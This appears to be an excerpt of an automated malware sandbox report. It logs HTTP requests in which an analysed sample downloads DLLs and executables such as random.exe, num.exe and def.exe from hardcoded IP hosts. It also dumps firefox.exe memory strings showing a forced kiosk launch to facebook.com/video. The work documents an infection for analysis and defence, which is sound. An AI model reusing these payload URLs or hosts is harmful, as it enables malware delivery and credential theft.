Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN 'www.' \|\| :strippedURL AND 'www.' \|\| :strippedURL \|\| X'FFFF'moz-extension://31bc1824-4b8f-4b01-9a19-e1bd57d398cf/lib/picture_in_picture_overrides.js[{incognito:null, tabId:null, types:["image"], urls:["https://smartblock.firefox.etp/facebook.svg", "https://smartblock.firefox.etp/play.svg"], windowId:null}, ["blocking"]]Could not access the AddonManager to upgrade the profile. This is most likely because the upgrader is being run from an xpcshell test where the AddonManager is not initialized.sharing,pictureinpicture,crashed,busy,soundplaying,soundplaying-scheduledremoval,pinned,muted,blocked,selected=visuallyselected,activemedia-blocked,indicator-replaces-faviconX! equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EFDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "://.adsafeprotected.com/jload""://.adsafeprotected.com/jsvid?""://.adsafeprotected.com/jload?""://pubads.g.doubleclick.net/gampad/ad""://pixel.advertising.com/firefox-etp""://pubads.g.doubleclick.net/gampad/ad-blk""://.adsafeprotected.com/jsvid""://.adsafeprotected.com/jsvid?""://.adsafeprotected.com/tpl?"["://trends.google.com/trends/embed"]"://trends.google.com/trends/embed"["://trends.google.com/trends/embed"]resource://gre/modules/PlacesUtils.sys.mjs"://trends.google.com/trends/embed""://.adsafeprotected.com/services/pub""://ads.stickyadstv.com/user-matching""://.adsafeprotected.com/.png""://securepubads.g.doubleclick.net/gampad/ad""://ads.stickyadstv.com/auto-user-sync""://.adsafeprotected.com//Serving/""://.adsafeprotected.com//unit/""://track.adform.net/Serving/TrackPoint/""://.adsafeprotected.com/.js""://.adsafeprotected.com/.gif""://.adsafeprotected.com/services/pub""://.adsafeprotected.com/tpl?""://cdn.cmp.advertising.com/firefox-etp""://vast.adsafeprotected.com/vast""://www.facebook.com/platform/impression.php""://.adsafeprotected.com//adj""https://ads.stickyadstv.com/firefox-etp""://.adsafeprotected.com//imp/"resource:///modules/AttributionCode.sys.mjsmain/anti-tracking-url-decorationChild MenuItem not found, it cannot be removed.Could not find any MenuItem with id: getProfileDataAsGzippedArrayBuffermain/anti-tracking-url-decorationresource:///modules/ShellService.sys.mjs:scope > #context-sep-navigation + *, falling back to typed transition.resource://normandy/lib/NormandyUtils.sys.mjsresource://gre/modules/TelemetryArchive.sys.mjsresource://gre/modules/UpdateUtils.sys.mjsresource:///modules/BrowserWindowTracker.sys.mjsresource:///modules/UrlbarUtils.sys.mjsID of a MenuItem cannot be changedservices.sync.clients.devices.mobilemain/translations-identification-modelswebNavigation-createdNavigationTargetChild MenuItem already has a parent.resource://gre/modules/ExtensionParent.sys.mjsgetAndForgetRecentTabTransitionDatamain/websites-with-shared-credential-backendsservices.sync.clients.devices.desktop60e82333-914d-4cfa-95b1-5f034b5a704bresource://gre/modules/AddonManager.sys.mjsUnexpectedly received notification for resource://gre/modules/AsyncShutdown.sys.mjsthis.menusInternal</onClicked/listener/<main/devtools-compatibility-browsersresource:///actors/ClickHandlerParent.sys.mjsresource://gre/modules/WebNavigation.jsmmain/search-default-override-allowlistchrome://browser/content/browser.xhtmlchrome://browser/content/browser.xhtmlchrome://browser/content/browser.xhtmlchrome://browser/content/browser.xhtmlbrowser.laterrun.bookkeeping.profileCreationTimechrome://browser/content/browser.jsbrowser.laterrun.bookkeeping.sessionCount[xpconnect wrapped nsIMutableArray]resource://gre/modules/ObjectUtils.sys.mjschrome://browser/content/browser.xhtmlchrome://browser/content/browser.xhtmlbrowser.newtabpage.activity-stream.debugtimestamps.about_home_topsites_first_paint_s
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EFDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "://.adsafeprotected.com/services/pub"extensionTypes.ExtensionFileOrCode"://vast.adsafeprotected.com/vast"webRequestFilterResponse.serviceWorkerScript"://.adsafeprotected.com/.gif""://.adsafeprotected.com/.png"This color property is ignored in Firefox >= 89.webRequestBlockingPermissionRequiredMAX_SUSTAINED_WRITE_OPERATIONS_PER_MINUTEPlease use $(ref:runtime.onRestartRequired).^(sha256\|sha512):[0-9a-fA-F]{64,128}$"://www.facebook.com/platform/impression.php""://ads.stickyadstv.com/auto-user-sync""://ads.stickyadstv.com/user-matching""://.adsafeprotected.com//imp/"webRequestBlockingPermissionRequired"://.adsafeprotected.com//adj""://.adsafeprotected.com/jload?""://.adsafeprotected.com//Serving/""://pubads.g.doubleclick.net/gampad/ad"webRequestBlockingPermissionRequired"https://ads.stickyadstv.com/firefox-etp"webRequestBlockingPermissionRequired"://.adsafeprotected.com/.js""://.adsafeprotected.com/jsvid"default_public_and_private_interfaces"://securepubads.g.doubleclick.net/gampad/ad""://.adsafeprotected.com/jsvid?""://.adsafeprotected.com//unit/""://.adsafeprotected.com/jload"reject_trackers_and_partition_foreign"://.adsafeprotected.com/tpl?""://track.adform.net/Serving/TrackPoint/""://vast.adsafeprotected.com/vast""://pubads.g.doubleclick.net/gampad/ad-blk""https://ads.stickyadstv.com/firefox-etp""://ads.stickyadstv.com/auto-user-sync""://www.facebook.com/platform/impression.php""://ads.stickyadstv.com/user-matching""://.adsafeprotected.com/.gif""://.adsafeprotected.com/.png""://.adsafeprotected.com/.js""://.adsafeprotected.com//adj""://securepubads.g.doubleclick.net/gampad/ad""://.adsafeprotected.com//Serving/""://.adsafeprotected.com//unit/""://.adsafeprotected.com//imp/""://.adsafeprotected.com/jload""://pubads.g.doubleclick.net/gampad/ad""://.adsafeprotected.com/jload?""://.adsafeprotected.com/jsvid""*://pixel.advertising.com/firefox-etp" equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EFDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "://www.facebook.com/platform/impression.php" equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2844813161.000001E3C8790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://www.facebook.com/video" --no-default-browser-check --disable-popup-blocking equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2844813161.000001E3C8790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://www.facebook.com/video" --no-default-browser-check --disable-popup-blockingR equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2855650550.000001D34DA70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking --attempting-deelevation equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2855650550.000001D34DA70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking --attempting-deelevation9 equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2955106076.000001E752C6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2954167223.000001E752A30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2954167223.000001E752A30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blockingg equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php://.adsafeprotected.com/jsvid?*://pubads.g.doubleclick.net/gampad/xml_vmap1*://.adsafeprotected.com//imp/executeIDB/promise</transaction.onabort equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2974606521.000001E75FD82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.2953836439.000001E7529D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -os-restarted --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blockingH equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3007396139.000001E765053000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2963529504.000001E75E53C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3001116838.000001E764D10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/video equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2997633717.000001E763CAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2995380035.000001E7639ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2959104555.000001E754590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: =::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=--kioskMOZ_CRASHREPORTER_RESTART_ARG_2=https://www.facebook.com/videoMOZ_CRASHREPORTER_RESTART_ARG_3=--no-default-browser-checkMOZ_CRASHREPORTER_RESTART_ARG_4=--disable-popup-blockingMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\WindowsP equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2844813161.000001E3C8790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exe--kioskhttps://www.facebook.com/video--no-default-browser-check--disable-popup-blocking equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2954167223.000001E752A30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exe--kioskhttps://www.facebook.com/video--no-default-browser-check--disable-popup-blocking% equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2855650550.000001D34DA79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exe--kioskhttps://www.facebook.com/video--no-default-browser-check--disable-popup-blocking--attempting-deelevation equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2844813161.000001E3C8790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://www.facebook.com/video" --no-default-browser-check --disable-popup-blockingC:\Program Files\Mozilla Firefox\firefox.exewinsta0\default equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2855650550.000001D34DA70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking --attempting-deelevationC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2954167223.000001E752A30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blockingC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default# equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: FileUtils_openSafeFileOutputStreampictureinpicture%40mozilla.org:1.0.0FileUtils_closeSafeFileOutputStream://www.everestjs.net/static/st.v3.js@mozilla.org/network/file-output-stream;1://pub.doubleverify.com/signals/pub.js://track.adform.net/serving/scripts/trackpoint/@mozilla.org/addons/addon-manager-startup;1resource://gre/modules/addons/XPIProvider.jsm://c.amazon-adsystem.com/aax2/apstag.js://auth.9c9media.ca/auth/main.js://static.chartbeat.com/js/chartbeat_video.js://.imgur.com/js/vendor..bundle.jshttps://smartblock.firefox.etp/play.svg://cdn.branch.io/branch-latest.min.js*://connect.facebook.net//sdk.js*://libs.coremetrics.com/eluminate.jsFileUtils_closeAtomicFileOutputStream://web-assets.toggl.com/app/assets/scripts/.js://connect.facebook.net//all.jsresource://gre/modules/FileUtils.sys.mjs@mozilla.org/network/atomic-file-output-stream;1://static.chartbeat.com/js/chartbeat.js://static.criteo.net/js/ld/publishertag.jshttps://smartblock.firefox.etp/facebook.svg://.imgur.io/js/vendor..bundle.jswebcompat-reporter%40mozilla.org:1.5.1webcompat-reporter@mozilla.org.xpiFileUtils_openAtomicFileOutputStream://www.rva311.com/static/js/main..chunk.js@mozilla.org/network/safe-file-output-stream;1://www.google-analytics.com/analytics.js*://www.google-analytics.com/plugins/ua/ec.js://s0.2mdn.net/instream/html5/ima3.js://www.googletagservices.com/tag/js/gpt.js://adservex.media.net/videoAds.js://www.google-analytics.com/gtm/js://.moatads.com//moatheader.js://cdn.optimizely.com/public/.js://js.maxmind.com/js/apis/geoip2//geoip2.js://s.webtrends.com/js/advancedLinkTracking.js://ssl.google-analytics.com/ga.js://imasdk.googleapis.com/js/sdkloader/ima3.js://static.adsafeprotected.com/iasPET.1.js://.vidible.tv//vidible-min.js://cdn.adsafeprotected.com/iasPET.1.js://s.webtrends.com/js/webtrends.js://s.webtrends.com/js/webtrends.min.js://pagead2.googlesyndication.com/tag/js/gpt.js*resource://gre/modules/ConduitsParent.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2955106076.000001E752C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2954167223.000001E752A40000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2959104555.000001E754590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_2=https://www.facebook.com/video equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2959104555.000001E7545E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: WinSta0\Default4=::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=--kioskMOZ_CRASHREPORTER_RESTART_ARG_2=https://www.facebook.com/videoMOZ_CRASHREPORTER_RESTART_ARG_3=--no-default-browser-checkMOZ_CRASHREPORTER_RESTART_ARG_4=--disable-popup-blockingMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2997276165.000001E763B0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"] equals www.facebook.com (Facebook)
